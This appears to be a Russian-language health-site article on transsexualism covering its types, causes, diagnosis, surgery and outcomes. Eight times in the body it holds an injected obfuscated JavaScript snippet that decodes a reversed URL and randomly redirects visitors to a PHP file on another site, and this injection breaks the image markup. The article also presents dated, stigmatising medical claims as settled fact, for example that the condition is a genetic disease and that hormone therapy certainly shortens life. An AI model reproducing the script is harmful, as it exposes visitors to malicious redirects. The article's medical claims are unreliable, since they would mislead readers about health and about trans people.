Транссексуализм: виды, причины и лечение

Понятие «транссексуализм» вызывает неприятие в обществе с традиционными представлениями об отношении полов и семейными ценностями. Между тем это состояние, неподвластное сознанию человека, обусловленное внутриутробным дефектом развития. Когда гендерная идентичность не совпадает с биологическим полом, врачи говорят о болезни. К чему приводит ощущение себя «не в своём теле» и есть ли решение у этой проблемы?

Что такое транссексуализм

Официальная медицина формулирует понятие транссексуализма как генетическое заболевание, связанное с устойчивым осознанием себя как представителя противоположного пола. При этом у человека абсолютно правильно сформированы первичные и вторичные половые признаки. Одни учёные говорят об эндогенном (внутреннем) происхождении расстройства — его связывают с биохимическими изменениями в мозгу, другие считают его психосоциальным явлением.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5ad72a03c01e7.jpg» alt=»Превращение мужчины в девушку» width=»499″ height=»344″ /> Транссексуалы — это люди, осознающие себя представителями противоположного пола

Транссексуализм считается расстройством полового поведения и именно в такой формулировке он внесён в Международную классификацию болезней в раздел психических заболеваний. В сообществе психиатров обсуждается вопрос о выведении этого состояния из категории патологии и отнесения его к эмоциональным нарушениям.

Многолетнее изучение феномена несоответствия биологического пола и внутреннего осознания себя как мужчины или женщины показывает, что оно не является частью базовых психических расстройств. С этой точки зрения транссексуалы считаются здоровыми людьми.

Изменение гендерной идентификации чаще встречается у мужчин. Согласно официальной зарубежной статистике женщины страдают этим недугом в четыре раза реже. Считать эти данные абсолютно достоверными нельзя, так как подсчёт основывается лишь на той группе лиц, которая самостоятельно обращается за медицинской помощью.

Виды транссексуализма

Различают транссексуализм двух направленностей:

  • мужчина чувствует себя женщиной — male-to-femal (MtF);
  • женщина чувствует себя мужчиной — femal-to-male (FtM).

В психиатрии существует классификация по степени выраженности синдрома и его качественных составляющих.

Ядерный

Ядерная форма расстройства (или гендерная дисфория) у пациентов выражается очень ярко, с требованием признания окружающими их противоположного пола как биологического. Микросоциум не в силах повлиять на образ жизни транссексуала.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5ad72c077b22c-728×425.jpg» alt=»Транссексуал до и после операции» width=»728″ height=»425″ /> Для «ядерного» транссексуала операция по смене пола — единственная возможность обрести душевный комфорт

Для него единственным способом адаптироваться к окружающей среде и жить в гармонии с собственным «я» становится операция по смене пола.

Краевой

Краевые формы менее выражены и протекают мягче, что позволяет человеку социально адаптироваться и иметь семью. У женщин краевая транссексуальность в браке выражается холодностью в интимных отношения и даже в отвращении к половому акту. Для мужчин типичным выражением является стремление к поддержанию домашнего очага, заботе о детях, наведении в доме чистоты и уюта. Острого желания смены пола не наблюдается.

Причины транссексуальности

В основе биологической теории транссексуальности лежит нарушение в формировании и развитии специфических отделов мозга (в первую очередь гипоталамуса) – биологической основы полового центра. Он отвечает за половое поведение и формирование чувства принадлежности к мужскому или женскому полу.

Половая дифференциация закладывается в мозгу ещё до рождения ребёнка. Нарушения выражаются в уровне концентрации пренатальных (предродовых) андрогенов или эстрогенов (мужских и женских половых гормонов) и снижении чувствительности к ним тканей плода. А диссоциация биологического и психологического пола обусловлена тем, что половые органы формируются в первом триместре беременности, а структуры мозга, отвечающие за сексуальное поведение — на последних сроках. Причиной несоответствия в развитии может быть стресс или приём во время беременности некоторых медикаментов.

Теория о том, что на определение психологического пола влияет количественное превалирование мужских или женских гормонов, оказалась несостоятельной. Все попытки лечить транссексуалов гормональными препаратами, соответствующими генетическому полу, оказались безуспешными.

Сторонники психосоциальной теории возлагают вину на неправильное психологическое формирование у детей гендерной идентификации. Сюда можно отнести неполную семью, когда у ребёнка отсутствует пример мужского или женского поведения, выбор игр и поощрение родителями поведения, не соответствующего его половой принадлежности. Однако исследования доказали, что гендерное воспитание не играет никакой роли в формировании модели поведения и окончательной половой самоидентификации у «ядерных» транссексуалов.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5ad72c9e0899d-728×424.jpg» alt=»Фигуры мальчика и девочки» width=»728″ height=»424″ /> Воспитательной коррекции поддаётся только краевой транссексуализм

Краевой транссексуализм в детстве поддаётся коррекции воспитанием. Если попытки таких детей заявить себя представителем другого пола подавляются взрослыми, ребёнок становится адекватным и пытается внешне не проявлять своё внутреннее «Я». Однако проблема не уходит, она загоняется внутрь и в дальнейшем проявляется постоянной борьбой между нормальным социальным поведением и подавляемой биологической сутью.

Признаки нарушения половой идентификации

Первые признаки у «ядерных» транссексуалов проявляются уже в раннем детстве. Ребёнок 2–3 лет начинает называть себя женским (или мужским) именем, требует, чтобы его одевали соответственно тому, кем он себя представляет, играет в игры, несвойственные его полу. Сломить представления ребёнка о себе как о представителе другого пола практически невозможно никакими воспитательными мерами. Жизнь его превращается в перманентную борьбу с окружающими за право быть самим собой.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5ad732272f759-728×546.jpg» alt=»Половая самоидентификация в детстве» width=»728″ height=»546″ /> В детстве транссексуал настойчиво выражает свою принадлежность к другому полу

С наступлением подросткового периода жизнь ещё больше осложняется, так как ребёнку приходится бороться не только с общественным порицанием его наклонностей, но и с собственным организмом, вступившим в период полового созревания. Его половое влечение направлено на представителей своего пола, что со стороны выглядит как гомосексуализм, в то время как самими транссексуалом оно осознаётся как тяга к противоположному полу. Жизнь в «чужом теле» становится для такого подростка настоящей пыткой.

Девушки стараются спрятать растущую грудь, предпочитают мальчишескую одежду, больше склонны к соревновательным играм с силовым компонентом. Юноши, напротив, стремятся сохранить девичью хрупкость и избегают физических тренировок, формирующих мужскую фигуру. Для них становится дополнительным стрессом появление на лице и на теле растительности по мужскому типу. В такие моменты подростки способны нанести себе вред, пытаясь спрятать развивающиеся первичные половые признаки.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5ad72dc79e010.jpg» alt=»Транссексуалы» width=»550″ height=»412″ /> Взрослые «ядерные» мужчины-транссексуалы предпочитают женские наряды и яркий макияж

Признаки взрослой транссексуальности выражаются в причёске, манере одеваться, в стиле поведения. «Ядерные» представители носят женскую (или мужскую) одежду, мужчины пользуются косметикой. «Краевые» транссексуалы часто скрываются под маской гомосексуалистов, хотя таковыми не являются. За внешней адекватностью таких людей часто прячутся эмоциональные бури и внутренние противоречия. Они боятся быть раскрытыми и осуждёнными обществом. Отсюда их внутренняя дисгармония и выраженные в разной степени психические расстройства.

Описание состояния и признаков транссексуалов в зависимости от формы расстройства сделал врач Гарри Бенджамин. В соответствии с его шкалой краевой транссексуализм у мужчин проявляется следующими признаками:

  • они живут то женской, то мужской жизнью (нет чёткой гендерной идентификации);
  • половое влечение снижено или отсутствует;
  • они часто имеют нормальную семью;
  • желание сменить пол возникает, но не реализуется.

Для ядерной формы характерно:

  • ярко выраженное ощущение принадлежности к противоположному полу;
  • при невозможности реализовать себя в качестве лица противоположного пола человек испытывает депрессию и тревогу;
  • не чувствует полового влечения или старается найти для себя подходящего мужчину, при этом не воспринимает гомосексуальных отношений, хотя иногда может играть пассивную роль в гомосексуальной паре;
  • стремится к смене пола.

Видео: транссексуализм — болезнь современности

Как ставится диагноз

Распознать «ядерного» транссексуала несложно, гораздо труднее установить «краевую» патологию. Диагностика направлена на установление истинности транссексуализма и его дифференциацию от других форм психотических нарушений.

В психиатрии гендерная дисфория дифференцируется с бредовым транссексуализмом, который не связан с половой принадлежностью. Он развивается как тяжёлая психическая патология (обычно на фоне шизофрении) и сопряжён с органическим поражением мозга.

Диагностика включает несколько этапов:

  1. Беседа врача с пациентом, во время которой собирается анамнез, выясняются отношения в семье, со сверстниками. Значение придаётся тому, как пациент определял свою половую принадлежность в детстве, испытывает ли он депрессивные состояния, чувство подавленности, ощущение чуждости собственного тела.
  2. Наблюдение — обязательный этап в дифференциальной диагностике. У транссексуала сохраняется постоянство поведения, тогда как у больного шизофренией отклонения в сексуальном поведении случаются только во время обострений.
  3. Психиатрическая диагностика включает проведение ряда психологических тестов и заполнение пациентом опросных листов. По их результатам судят об уровне стресса, наличии склонности к самоубийству и других направленных на себя агрессивных намерений.

В процессе тестирования и наблюдения врач выясняет, есть ли показания к операции по смене пола, стоит ли применять консервативную терапию и насколько эффективно будет психотерапевтическое лечение.

Транссексуальность и сексуальная ориентация

Общественное мнение часто связывает два понятия — транссексуализм и гомосексуализм. На самом деле они редко сочетаются и имеют совершенно разную природу. У транссексуала либидо соответствует его половому самосознанию и направлено на людей противоположного пола. То есть мужчину, считающего себя женщиной, влечёт к мужчинам, а женщин, осознающих себя мужчинами, тянет к женщинам. Прямой связи с сексуальной ориентацией у транссексуалов нет, среди них встречаются гомосексуалисты, бисексуалы и гетеросексуалы.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5ad72f76673ce.jpg» alt=»Двое мужчин» width=»614″ height=»400″ /> Транссексуалы считают контакт с гетеросексуальным мужчиной нормальным

Мужчин-транссексуалов привлекают гетеросексуальные мужчины, они не считают такой контакт гомосексуальным. При этом связь с женщиной для них является противоестественной. Женщины с расстройством гендерной идентификации сексуально гораздо менее активны, чем мужчины.

Гомосексуальные расстройства не связаны с нарушением гендерной идентификации и не имеют ничего общего с транссексуализмом. Мужчина живёт и осознаёт себя в соответствии со своим биологическим полом. Ещё один вид сексуального поведения — транвестизм. Он также не влечёт за собой расстройства полового самосознания, а является лишь формой получения сексуального удовлетворения путём сменой внешнего мужского образа на женский.

Методы лечения

Психотерапевтическое лечение «краевых» транссексуалов заключается в психологической адаптации в обществе. Оно призвано снизить уровень тревожности, избежать операции по смене пола. Во время сеансов пациент осваивает навыки самоконтроля и саморегуляции, осознаёт свой внутренний конфликт.

«Ядерным» транссексуалам может помочь только операция. Показаниями к ней являются:

  • невозможность адаптироваться в обществе с существующим биологическим полом;
  • навязчивая идея самоубийства или аутоагрессия.

При этом у пациента должны отсутствовать психические заболевания, и он должен быть старше 21 года. Принятию решения об операции предшествует смена паспортного пола. Она показывает, насколько успешной будет социальная адаптация пациента в новом качестве. Перед хирургической операцией на половых органах проводится длительная гормональная терапия. В течение полугода мужчина-транссексуал проходит два этапа коррекции. На первом с помощью женских половых гормонов и антиандрогенных препаратов подавляются вторичные мужские половые признаки и развиваются женские.

Далее происходит хирургическая коррекция половых органов, а затем удаляются мужские половые железы. Послеоперационная гормональная терапия направлена на профилактику посткастрационного синдрома и поддержание женских вторичных половых признаков. Во время операции выполняется пластика влагалища и удаление яичек. У женщин удаляются молочные железы, проводится пластика полового члена. Затем удаляются матка и яичники. Для изменения гормонального фона женщины принимают андрогены. Эффективность терапии оценивают по прекращению менструаций.

Последствия операции по смене пола

У «ядерных» транссексуалов смена пола становится доминирующей целью, ради которой они готовы на всё. Между тем хирургическое вмешательство представляет собой серию серьёзных операций. И часто с непредсказуемыми последствиями. Трудно предвидеть, как на организме скажется изменение гормонального фона. Точно известно, что это ведёт к преждевременному старению и сокращает жизнь.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/11/post_5ad7303a5c81b.jpg» alt=»Операция» width=»699″ height=»553″ /> Операция по смене пола чревата осложнениями, связанными с нарушением гормонального фона

После операции мужчины должны постоянно принимать гормональные препараты. Заместительная терапия никоим образом не соответствует тончайшим природным колебаниям уровня гормонов. Грубые нарушения их баланса могут стать причиной злокачественных новообразований, атеросклероза, гипертонии, инсульта и инфаркта миокарда.

Ещё одним осложнением бывает отторжение пересаженных при пластике тканей. Отзывы пациентов свидетельствуют о том, что человек перестаёт испытывать оргазм, зато приходят постоянные приливы, подобные климактерическим. А они являются последствием кастрации.

Трансексуализм — это врожденное, а не приобретенное состояние. Для транссексуалов половая принадлежность их тела кажется совершенно неправильной, потому что они видят мир со стороны противоположного пола. В мужском теле находится мужчина, а в женском — женщина.Тот факт, что они имеют неправильные физические характеристики тела делает их очень несчастными. Они не трансвеститы, которые получают удовольствие от ношения одежды противоположного пола. Были попытки психиатров вылечить транссексуалов методами внушения или лекарствами, но это не помогало. Единственный успешный способ лечения, найденный для транссексуалов — жить как лицо того пола, которым они психологически являются

Yuta (Богиня)

http://helpster.ru/page.php?id_n=24960

Видео: психотерапевт о том, что нужно знать о транссексуалах

И все же достижение определённого уровня комфорта для транссексуалов вполне возможно. Комплексное лечение «ядерных» расстройств, включающее операцию, со временем корректирует недостаток полоролевого опыта, и человек восстанавливает душевное равновесие. А «краевые» транссексуалы обретают семью и полностью адаптируются в обществе.

Adblock
detector